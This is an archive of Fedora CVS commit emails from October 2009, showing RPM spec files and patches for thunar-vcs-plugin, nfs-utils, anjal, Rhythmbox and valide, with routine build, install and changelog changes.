* Most of the svn action: add, blame, checkout, cleanup, commit, copy, delete,
  export, import, lock, log, move, properties, relocate, resolved, revert, 
  status, switch, unlock and update.
* Subversion info in file properties dialog.

This project was formerly known as Thunar SVN Plugin.

%prep
%setup -q


%build
%configure --disable-static
# remove rpath
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove libtool archive
rm $RPM_BUILD_ROOT%{_libdir}/thunarx-1/%{name}.la
%find_lang %{name}


%clean
rm -rf $RPM_BUILD_ROOT


%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :


%postun
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi


%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog NEWS README
%{_libdir}/thunarx-1/%{name}.so
%{_libexecdir}/tvp-svn-helper
%{_datadir}/icons/hicolor/*/apps/subversion.png


%changelog
* Wed Sep 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.0-1
- Initial Fedora package



From cwickert at fedoraproject.org  Mon Oct 19 16:53:42 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 19 Oct 2009 16:53:42 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/F-11 thunar-vcs-plugin.spec,NONE,1.1
Message-ID: <20091019165342.A13B411C00DC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1920/F-11

Added Files:
	thunar-vcs-plugin.spec 
Log Message:
initial build of thunar-vcs-plugin for this branch


--- NEW FILE thunar-vcs-plugin.spec ---
# Review: https://bugzilla.redhat.com/show_bug.cgi?id=529465

Name:           thunar-vcs-plugin
Version:        0.1.0
Release:        1%{?dist}
Summary:        SVN integration for the Thunar filemanager

Group:          User Interface/Desktops
License:        GPLv2+
URL:            http://goodies.xfce.org/projects/thunar-plugins/%{name}
Source0:        http://archive.xfce.org/src/thunar-plugins/%{name}/0.1/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  Thunar-devel >= 0.4.0
BuildRequires:  subversion-devel >= 1.5
BuildRequires:  apr-devel >= 0.9.7
BuildRequires:  e2fsprogs-devel
BuildRequires:  uuid-devel
%if 0%{?fedora} >= 12
BuildRequires:  libuuid-devel
%endif
BuildRequires:  gettext, intltool
Requires:       Thunar >= 1.0.0
Requires:       subversion
# Obsolete thunar-svn-plugin for smooth upgrades
Provides:       thunar-svn-plugin = %{version}-%{release}
Obsoletes:      thunar-svn-plugin < 0.0.4-1

%description
The Thunar VCS Plugin adds Subversion actions to the context menu of Thunar. 
This gives a SVN integration integration to Thunar. The current features are:
* Most of the svn action: add, blame, checkout, cleanup, commit, copy, delete,
  export, import, lock, log, move, properties, relocate, resolved, revert, 
  status, switch, unlock and update.
* Subversion info in file properties dialog.

This project was formerly known as Thunar SVN Plugin.

%prep
%setup -q


%build
%configure --disable-static
# remove rpath
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove libtool archive
rm $RPM_BUILD_ROOT%{_libdir}/thunarx-1/%{name}.la
%find_lang %{name}


%clean
rm -rf $RPM_BUILD_ROOT


%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :


%postun
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi


%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog NEWS README
%{_libdir}/thunarx-1/%{name}.so
%{_libexecdir}/tvp-svn-helper
%{_datadir}/icons/hicolor/*/apps/subversion.png


%changelog
* Wed Sep 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.0-1
- Initial Fedora package



From cwickert at fedoraproject.org  Mon Oct 19 16:53:42 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 19 Oct 2009 16:53:42 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/F-12 thunar-vcs-plugin.spec,NONE,1.1
Message-ID: <20091019165342.C4DC211C00DC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1920/F-12

Added Files:
	thunar-vcs-plugin.spec 
Log Message:
initial build of thunar-vcs-plugin for this branch


--- NEW FILE thunar-vcs-plugin.spec ---
# Review: https://bugzilla.redhat.com/show_bug.cgi?id=529465

Name:           thunar-vcs-plugin
Version:        0.1.0
Release:        1%{?dist}
Summary:        SVN integration for the Thunar filemanager

Group:          User Interface/Desktops
License:        GPLv2+
URL:            http://goodies.xfce.org/projects/thunar-plugins/%{name}
Source0:        http://archive.xfce.org/src/thunar-plugins/%{name}/0.1/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  Thunar-devel >= 0.4.0
BuildRequires:  subversion-devel >= 1.5
BuildRequires:  apr-devel >= 0.9.7
BuildRequires:  e2fsprogs-devel
BuildRequires:  uuid-devel
%if 0%{?fedora} >= 12
BuildRequires:  libuuid-devel
%endif
BuildRequires:  gettext, intltool
Requires:       Thunar >= 1.0.0
Requires:       subversion
# Obsolete thunar-svn-plugin for smooth upgrades
Provides:       thunar-svn-plugin = %{version}-%{release}
Obsoletes:      thunar-svn-plugin < 0.0.4-1

%description
The Thunar VCS Plugin adds Subversion actions to the context menu of Thunar. 
This gives a SVN integration integration to Thunar. The current features are:
* Most of the svn action: add, blame, checkout, cleanup, commit, copy, delete,
  export, import, lock, log, move, properties, relocate, resolved, revert, 
  status, switch, unlock and update.
* Subversion info in file properties dialog.

This project was formerly known as Thunar SVN Plugin.

%prep
%setup -q


%build
%configure --disable-static
# remove rpath
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove libtool archive
rm $RPM_BUILD_ROOT%{_libdir}/thunarx-1/%{name}.la
%find_lang %{name}


%clean
rm -rf $RPM_BUILD_ROOT


%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :


%postun
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi


%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog NEWS README
%{_libdir}/thunarx-1/%{name}.so
%{_libexecdir}/tvp-svn-helper
%{_datadir}/icons/hicolor/*/apps/subversion.png


%changelog
* Wed Sep 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.0-1
- Initial Fedora package



From steved at fedoraproject.org  Mon Oct 19 16:56:23 2009
From: steved at fedoraproject.org (Steve Dickson)
Date: Mon, 19 Oct 2009 16:56:23 +0000 (UTC)
Subject: rpms/nfs-utils/F-11 nfs-utils-1.2.0-mount-sizeof.patch, NONE,
	1.1 nfs-utils.spec, 1.231, 1.232
Message-ID: <20091019165623.945AC11C00DC@cvs1.fedora.phx.redhat.com>

Author: steved

Update of /cvs/pkgs/rpms/nfs-utils/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2626

Modified Files:
	nfs-utils.spec 
Added Files:
	nfs-utils-1.2.0-mount-sizeof.patch 
Log Message:
Make sure stack variables are are initialized correctly (bz 528776)


nfs-utils-1.2.0-mount-sizeof.patch:
 stropts.c |   10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

--- NEW FILE nfs-utils-1.2.0-mount-sizeof.patch ---
diff -up nfs-utils-1.2.0/utils/mount/stropts.c.orig nfs-utils-1.2.0/utils/mount/stropts.c
--- nfs-utils-1.2.0/utils/mount/stropts.c.orig	2009-10-19 11:14:41.000000000 -0400
+++ nfs-utils-1.2.0/utils/mount/stropts.c	2009-10-19 12:25:38.000000000 -0400
@@ -431,11 +431,11 @@ static struct mount_options *nfs_rewrite
 	struct mount_options *options;
 	struct sockaddr_storage nfs_address;
 	struct sockaddr *nfs_saddr = (struct sockaddr *)&nfs_address;
-	socklen_t nfs_salen;
+	socklen_t nfs_salen = sizeof(nfs_address);
 	struct pmap nfs_pmap;
 	struct sockaddr_storage mnt_address;
 	struct sockaddr *mnt_saddr = (struct sockaddr *)&mnt_address;
-	socklen_t mnt_salen;
+	socklen_t mnt_salen = sizeof(mnt_address);
 	struct pmap mnt_pmap;
 
 	options = po_split(str);
@@ -573,7 +573,12 @@ static int nfs_try_nfs23mount(struct nfs
 	if (nfs_sys_mount(mi, "nfs", *extra_opts))
 		return 1;
 
+	/*
+	 * The kernel returns EOPNOTSUPP if the RPC bind failed,
+	 * and EPROTONOSUPPORT if the version isn't supported.
 	if (nfs_is_permanent_error(errno))
+	 */
+	if (errno != EOPNOTSUPP && errno != EPROTONOSUPPORT)
 		return 0;
 
 	return nfs_retry_nfs23mount(mi);
@@ -639,7 +644,6 @@ static int nfsmount_fg(struct nfsmount_i
 	for (;;) {
 		if (nfs_try_mount(mi))
 			return EX_SUCCESS;
-
 		if (nfs_is_permanent_error(errno))
 			break;
 


Index: nfs-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nfs-utils/F-11/nfs-utils.spec,v
retrieving revision 1.231
retrieving revision 1.232
diff -u -p -r1.231 -r1.232
--- nfs-utils.spec	9 Sep 2009 12:05:12 -0000	1.231
+++ nfs-utils.spec	19 Oct 2009 16:56:23 -0000	1.232
@@ -2,7 +2,7 @@ Summary: NFS utilities and supporting cl
 Name: nfs-utils
 URL: http://sourceforge.net/projects/nfs
 Version: 1.2.0
-Release: 5%{?dist}
+Release: 6%{?dist}
 Epoch: 1
 
 # group all 32bit related archs
@@ -24,6 +24,7 @@ Patch02: nfs-utils-1.1.0-exp-subtree-war
 
 Patch100: nfs-utils-1.2.0-nfsd-41vers.patch
 Patch101: nfs-utils-1.2.0-permerrors.patch
+Patch102: nfs-utils-1.2.0-mount-sizeof.patch
 
 Group: System Environment/Daemons
 Provides: exportfs    = %{epoch}:%{version}-%{release}
@@ -78,6 +79,8 @@ This package also contains the mount.nfs
 %patch100 -p1
 # 521638 - Bogus error when mounting stopped server
 %patch101 -p1
+# 528776 -  NFS to remote non-root volume fails as of latest F-11 update
+%patch102 -p1
 
 # Remove .orig files
 find . -name "*.orig" | xargs rm -f
@@ -244,6 +247,10 @@ fi
 %attr(4755,root,root)   /sbin/umount.nfs4
 
 %changelog
+* Mon Oct 19 2009 Steve Dickson <steved at redhat.com> 1.2.0-6 
+- Rolled back the 1.2.0-5 fix 
+- Make sure stack variables are are initialized correctly (bz 528776)
+
 * Wed Sep  9 2009 <steved at redhat.com> 1.2.0-5
 - Fixed incorrect error given when server is down (bz 521638)
 



From pbrobinson at fedoraproject.org  Mon Oct 19 16:57:53 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 19 Oct 2009 16:57:53 +0000 (UTC)
Subject: rpms/anjal/F-12 .cvsignore, 1.8, 1.9 anjal.spec, 1.10, 1.11 sources,
	1.8, 1.9
Message-ID: <20091019165753.4F43311C00DC@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/anjal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3493

Modified Files:
	.cvsignore anjal.spec sources 
Log Message:
- Official upstream 0.1 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anjal/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	12 Oct 2009 23:17:53 -0000	1.8
+++ .cvsignore	19 Oct 2009 16:57:52 -0000	1.9
@@ -1 +1 @@
-anjal-0.1.0-20091012.tar.bz2
+anjal-0.1.tar.bz2


Index: anjal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anjal/F-12/anjal.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- anjal.spec	12 Oct 2009 23:17:53 -0000	1.10
+++ anjal.spec	19 Oct 2009 16:57:52 -0000	1.11
@@ -1,21 +1,12 @@
-# Tarfile created using git
-# git clone git://git.gnome.org/anjal
-# git archive --format=tar --prefix=anjal-0.1.0/ %{git_version} | bzip2 > anjal-0.1.0-%{gitdate}.tar.bz2
-
-%define gitdate 20091012
-%define git_version bf7a3d2
-%define tarfile %{name}-%{version}-%{gitdate}.tar.bz2
-%define snapshot %{gitdate}git%{git_version}
-
 Name:           anjal
-Version:        0.1.0
-Release:        0.13.%{snapshot}%{?dist}
+Version:        0.1
+Release:        1%{?dist}
 Summary:        An email client for small screen devices
 
 Group:          Applications/Productivity
 License:        LGPLv2 or LGPLv3
 URL:            http://live.gnome.org/Anjal/
-Source0:        %{tarfile}
+Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.1/%{name}-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: anerley-devel
@@ -47,9 +38,6 @@ all the mail backends including POP3, IM
 %prep
 %setup -q
 
-# run autogen.sh until we have a proper release
-NOCONFIGURE=yes ./autogen.sh
-
 %build
 %configure --with-mozilla=no --with-anerley
 make %{?_smp_mflags} V=1
@@ -95,6 +83,9 @@ rm -rf %{buildroot}
 %{_datadir}/gnome-control-center/default-apps/anjal.xml
 
 %changelog
+* Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.1-1
+- Official upstream 0.1 release
+
 * Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.0-0.13
 - New git snapshot, lots of updated translations, nearing first release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anjal/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	12 Oct 2009 23:17:53 -0000	1.8
+++ sources	19 Oct 2009 16:57:52 -0000	1.9
@@ -1 +1 @@
-50694d6c475e90e4a637eafd393ce51a  anjal-0.1.0-20091012.tar.bz2
+50887a7663da8a3ecc6058e4b922efdc  anjal-0.1.tar.bz2



From cwickert at fedoraproject.org  Mon Oct 19 17:01:21 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 19 Oct 2009 17:01:21 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/F-10 .cvsignore,1.1,1.2 sources,1.1,1.2
Message-ID: <20091019170121.6BC1611C00DC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4402/F-10

Modified Files:
	.cvsignore sources 
Log Message:
add proper sources


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 15:57:59 -0000	1.1
+++ .cvsignore	19 Oct 2009 17:01:21 -0000	1.2
@@ -0,0 +1 @@
+thunar-vcs-plugin-0.1.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:57:59 -0000	1.1
+++ sources	19 Oct 2009 17:01:21 -0000	1.2
@@ -0,0 +1 @@
+90d1f2d414c2b4b8bf211a8a6b13b358  thunar-vcs-plugin-0.1.0.tar.bz2



From cwickert at fedoraproject.org  Mon Oct 19 17:01:21 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 19 Oct 2009 17:01:21 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/F-11 .cvsignore,1.1,1.2 sources,1.1,1.2
Message-ID: <20091019170121.970B211C00DC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4402/F-11

Modified Files:
	.cvsignore sources 
Log Message:
add proper sources


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 15:57:59 -0000	1.1
+++ .cvsignore	19 Oct 2009 17:01:21 -0000	1.2
@@ -0,0 +1 @@
+thunar-vcs-plugin-0.1.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:57:59 -0000	1.1
+++ sources	19 Oct 2009 17:01:21 -0000	1.2
@@ -0,0 +1 @@
+90d1f2d414c2b4b8bf211a8a6b13b358  thunar-vcs-plugin-0.1.0.tar.bz2



From cwickert at fedoraproject.org  Mon Oct 19 17:01:21 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 19 Oct 2009 17:01:21 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/F-12 .cvsignore,1.1,1.2 sources,1.1,1.2
Message-ID: <20091019170121.C7B9911C00DC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4402/F-12

Modified Files:
	.cvsignore sources 
Log Message:
add proper sources


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 15:57:59 -0000	1.1
+++ .cvsignore	19 Oct 2009 17:01:21 -0000	1.2
@@ -0,0 +1 @@
+thunar-vcs-plugin-0.1.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:57:59 -0000	1.1
+++ sources	19 Oct 2009 17:01:21 -0000	1.2
@@ -0,0 +1 @@
+90d1f2d414c2b4b8bf211a8a6b13b358  thunar-vcs-plugin-0.1.0.tar.bz2



From hadess at fedoraproject.org  Mon Oct 19 17:04:07 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 19 Oct 2009 17:04:07 +0000 (UTC)
Subject: rpms/rhythmbox/F-12
	0001-Use-Cubic-volume-when-StreaVolume-interface-is-avail.patch,
	NONE, 1.1 rhythmbox.spec, 1.270, 1.271
Message-ID: <20091019170407.496CA11C00DC@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/rhythmbox/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6125

Modified Files:
	rhythmbox.spec 
Added Files:
	0001-Use-Cubic-volume-when-StreaVolume-interface-is-avail.patch 
Log Message:
* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-7
- Use bicubic volumes in the UI
- Avoid using HEAD to get podcast mime-types


0001-Use-Cubic-volume-when-StreaVolume-interface-is-avail.patch:
 backends/gstreamer/rb-player-gst-xfade.c |   24 ++++++++++++++++++++++--
 backends/gstreamer/rb-player-gst.c       |   18 ++++++++++++++++--
 configure.ac                             |    5 ++---
 3 files changed, 40 insertions(+), 7 deletions(-)

--- NEW FILE 0001-Use-Cubic-volume-when-StreaVolume-interface-is-avail.patch ---
>From 86dd077ddc6cbb6984382f8dde94079b5f6c9e9a Mon Sep 17 00:00:00 2001
From: Bastien Nocera <hadess at hadess.net>
Date: Mon, 19 Oct 2009 16:16:32 +0100
Subject: [PATCH] Use Cubic volume when StreaVolume interface is available

Fixes Rhythmbox's sound not matching the volume levels advertised
in pavucontrol and gnome-volume-control.

https://bugzilla.gnome.org/show_bug.cgi?id=598955
---
 backends/gstreamer/rb-player-gst-xfade.c |   24 ++++++++++++++++++++++--
 backends/gstreamer/rb-player-gst.c       |   18 ++++++++++++++++--
 configure.ac                             |    4 ++--
 3 files changed, 40 insertions(+), 6 deletions(-)

diff --git a/backends/gstreamer/rb-player-gst-xfade.c b/backends/gstreamer/rb-player-gst-xfade.c
index 101ba0c..f96634d 100644
--- a/backends/gstreamer/rb-player-gst-xfade.c
+++ b/backends/gstreamer/rb-player-gst-xfade.c
@@ -158,6 +158,7 @@
 #include <gst/gst.h>
 #include <gst/controller/gstcontroller.h>
 #include <gst/base/gstbasetransform.h>
+#include <gst/interfaces/streamvolume.h>
 #include <gst/pbutils/pbutils.h>
 
 #include "rb-player.h"
@@ -2622,7 +2623,16 @@ tick_timeout (RBPlayerGstXFade *player)
 static gboolean
 emit_volume_changed_idle (RBPlayerGstXFade *player)
 {
-	_rb_player_emit_volume_changed (RB_PLAYER (player), player->priv->cur_volume);
+	double vol;
+
+	if (gst_element_implements_interface (player->priv->volume_handler, GST_TYPE_STREAM_VOLUME)) {
+		vol = gst_stream_volume_get_volume (GST_STREAM_VOLUME (player->priv->volume_handler),
+						    GST_STREAM_VOLUME_FORMAT_CUBIC);
+	} else {
+		vol = player->priv->cur_volume;
+	}
+
+	_rb_player_emit_volume_changed (RB_PLAYER (player), vol);
 	return FALSE;
 }
 
@@ -3700,7 +3710,13 @@ rb_player_gst_xfade_set_volume (RBPlayer *iplayer, float volume)
 		gdouble v = (gdouble)volume;
 
 		/* maybe use a controller here for smoother changes? */
-		g_object_set (player->priv->volume_handler, "volume", v, NULL);
+		if (gst_element_implements_interface (player->priv->volume_handler,
+						      GST_TYPE_STREAM_VOLUME)) {
+			gst_stream_volume_set_volume (GST_STREAM_VOLUME (player->priv->volume_handler),
+						      GST_STREAM_VOLUME_FORMAT_CUBIC, v);
+		} else {
+			g_object_set (player->priv->volume_handler, "volume", v, NULL);
+		}
 		player->priv->volume_applied = player->priv->volume_changed;
 	}
 	player->priv->cur_volume = volume;
@@ -3712,6 +3728,10 @@ rb_player_gst_xfade_get_volume (RBPlayer *iplayer)
 {
 	RBPlayerGstXFade *player = RB_PLAYER_GST_XFADE (iplayer);
 
+	if (gst_element_implements_interface (player->priv->volume_handler, GST_TYPE_STREAM_VOLUME))
+		return gst_stream_volume_get_volume (GST_STREAM_VOLUME (player->priv->volume_handler),
+						     GST_STREAM_VOLUME_FORMAT_CUBIC);
+
 	return player->priv->cur_volume;
 }
 
diff --git a/backends/gstreamer/rb-player-gst.c b/backends/gstreamer/rb-player-gst.c
index 21246a1..f02712e 100644
--- a/backends/gstreamer/rb-player-gst.c
+++ b/backends/gstreamer/rb-player-gst.c
@@ -36,6 +36,7 @@
 #include <glib/gi18n.h>
 #include <gdk/gdk.h>
 #include <gst/tag/tag.h>
+#include <gst/interfaces/streamvolume.h>
 #include <gst/pbutils/pbutils.h>
 
 #include "rb-debug.h"
@@ -155,7 +156,16 @@ about_to_finish_cb (GstElement *playbin, RBPlayerGst *player)
 static gboolean
 emit_volume_changed_idle (RBPlayerGst *player)
 {
-	_rb_player_emit_volume_changed (RB_PLAYER (player), player->priv->cur_volume);
+	double vol;
+
+	if (gst_element_implements_interface (player->priv->playbin, GST_TYPE_STREAM_VOLUME)) {
+		vol = gst_stream_volume_get_volume (GST_STREAM_VOLUME (player->priv->playbin),
+						    GST_STREAM_VOLUME_FORMAT_CUBIC);
+	} else {
+		vol = player->priv->cur_volume;
+	}
+
+	_rb_player_emit_volume_changed (RB_PLAYER (player), vol);
 	return FALSE;
 }
 
@@ -720,7 +730,11 @@ set_playbin_volume (RBPlayerGst *player, float volume)
 	 * we still get another one anyway.
 	 */
 	g_signal_handlers_block_by_func (player->priv->playbin, volume_notify_cb, player);
-	g_object_set (player->priv->playbin, "volume", volume, NULL);
+	if (gst_element_implements_interface (player->priv->playbin, GST_TYPE_STREAM_VOLUME))
+		gst_stream_volume_set_volume (GST_STREAM_VOLUME (player->priv->playbin),
+					      GST_STREAM_VOLUME_FORMAT_CUBIC, volume);
+	else
+		g_object_set (player->priv->playbin, "volume", volume, NULL);
 	g_signal_handlers_unblock_by_func (player->priv->playbin, volume_notify_cb, player);
 }
 
diff --git a/configure.ac b/configure.ac
index db6ed1f..1f45d41 100644
--- a/configure.ac
+++ b/configure.ac
@@ -30,7 +30,7 @@ AC_C_BIGENDIAN
 AC_CHECK_SIZEOF(long)
 
 DBUS_MIN_REQS=0.35
-GST_0_10_REQS=0.10.20
+GST_0_10_REQS=0.10.25
 GTK_REQS=2.12.0
 GLIB_REQS=2.16.0
 GNOME_MEDIA_PROFILES_REQS=2.8
@@ -247,7 +247,7 @@ PKG_CHECK_MODULES(GSTREAMER_0_10, \
 	gstreamer-plugins-base-0.10 >= $GST_0_10_REQS)
 
 RHYTHMBOX_CFLAGS="$RHYTHMBOX_CFLAGS $GSTREAMER_0_10_CFLAGS"
-RHYTHMBOX_LIBS="$RHYTHMBOX_LIBS $GSTREAMER_0_10_LIBS"
+RHYTHMBOX_LIBS="$RHYTHMBOX_LIBS $GSTREAMER_0_10_LIBS -lgstinterfaces-0.10"
 
 dnl DAAP (iTunes Music Shares)
 AC_ARG_ENABLE(daap,
-- 
1.6.5.rc2



Index: rhythmbox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rhythmbox/F-12/rhythmbox.spec,v
retrieving revision 1.270
retrieving revision 1.271
diff -u -p -r1.270 -r1.271
--- rhythmbox.spec	13 Oct 2009 16:21:00 -0000	1.270
+++ rhythmbox.spec	19 Oct 2009 17:04:07 -0000	1.271
@@ -3,7 +3,7 @@
 Name: rhythmbox
 Summary: Music Management Application
 Version: 0.12.5
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: GPLv2+ with exceptions and GFDL
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/rhythmbox/
@@ -55,6 +55,11 @@ BuildRequires: automake autoconf libtool
 Patch1: 0001-Use-C-only-for-the-browser-plugin.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=597899
 Patch2: rb-fix-daap-plugin.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=596615
+Patch3: rb-no-HEAD-for-podcasts.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=598955
+Patch4: 0001-Use-Cubic-volume-when-StreaVolume-interface-is-avail.patch
+
 
 %description
 Rhythmbox is an integrated music management application based on the powerful
@@ -92,6 +97,8 @@ from, and sending media to UPnP/DLNA net
 %patch1 -p1 -b .itms
 %patch2 -p1 -b .daap
 autoreconf -i
+%patch3 -p1 -b .http-head
+%patch4 -p1 -b .bicubic
 
 # Use the installed louie, not the one in Coherence
 find plugins/coherence/upnp_coherence/ -type f -exec sed -i 's/coherence.extern.louie as louie/louie/' '{}' ';'
@@ -222,6 +229,10 @@ fi
 %{_libdir}/rhythmbox/plugins/upnp_coherence
 
 %changelog
+* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-7
+- Use bicubic volumes in the UI
+- Avoid using HEAD to get podcast mime-types
+
 * Tue Oct 13 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-6
 - Fix DAAP plugin linkage
 



From bioinfornatics at fedoraproject.org  Mon Oct 19 17:04:27 2009
From: bioinfornatics at fedoraproject.org (MERCIER Jonathan)
Date: Mon, 19 Oct 2009 17:04:27 +0000 (UTC)
Subject: rpms/valide/devel import.log,1.6,1.7 valide.spec,1.8,1.9
Message-ID: <20091019170427.4E77911C00DC@cvs1.fedora.phx.redhat.com>

Author: bioinfornatics

Update of /cvs/pkgs/rpms/valide/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5933/devel

Modified Files:
	import.log valide.spec 
Log Message:



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/valide/devel/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	19 Oct 2009 15:26:16 -0000	1.6
+++ import.log	19 Oct 2009 17:04:27 -0000	1.7
@@ -4,3 +4,4 @@ valide-0_5_1-0_13_20090715svn280_fc11:HE
 valide-0_5_1-0_14_20090720svn291_fc11:HEAD:valide-0.5.1-0.14.20090720svn291.fc11.src.rpm:1248110015
 valide-0_5_1-0_18_20091019svn425_fc11:HEAD:valide-0.5.1-0.18.20091019svn425.fc11.src.rpm:1255964121
 valide-0_5_1-0_18_20091019svn425_fc11:HEAD:valide-0.5.1-0.18.20091019svn425.fc11.src.rpm:1255965843
